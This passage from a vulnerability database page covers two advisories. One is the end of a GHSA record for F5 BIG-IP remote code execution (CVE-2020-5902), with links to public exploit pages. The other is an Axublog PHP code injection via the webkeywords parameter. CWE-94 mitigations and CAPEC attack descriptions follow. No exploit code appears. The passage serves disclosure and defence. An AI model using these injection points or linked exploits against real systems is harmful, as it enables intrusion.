    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-01T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.",
  "id": "GHSA-2859-2hr6-f86v",
  "modified": "2025-10-22T00:31:56Z",
  "published": "2022-05-24T17:22:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5902"
    },
    {
      "type": "WEB",
      "url": "https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K52145254"
    },
    {
      "type": "WEB",
      "url": "https://swarm.ptsecurity.com/rce-in-f5-big-ip"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-5902"
    },
    {
      "type": "WEB",
      "url": "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/290915"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/175671/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-285C-6WQ3-96WH

Vulnerability from github – Published: 2022-05-14 03:20 – Updated: 2022-05-14 03:20
VLAI
Details

Axublog 1.1.0 allows remote Code Execution as demonstrated by injection of PHP code (contained in the webkeywords parameter) into the cmsconfig.php file.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-10740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-04T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Axublog 1.1.0 allows remote Code Execution as demonstrated by injection of PHP code (contained in the webkeywords parameter) into the cmsconfig.php file.",
  "id": "GHSA-285c-6wq3-96wh",
  "modified": "2022-05-14T03:20:02Z",
  "published": "2022-05-14T03:20:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10740"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axublog/axublog/issues/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list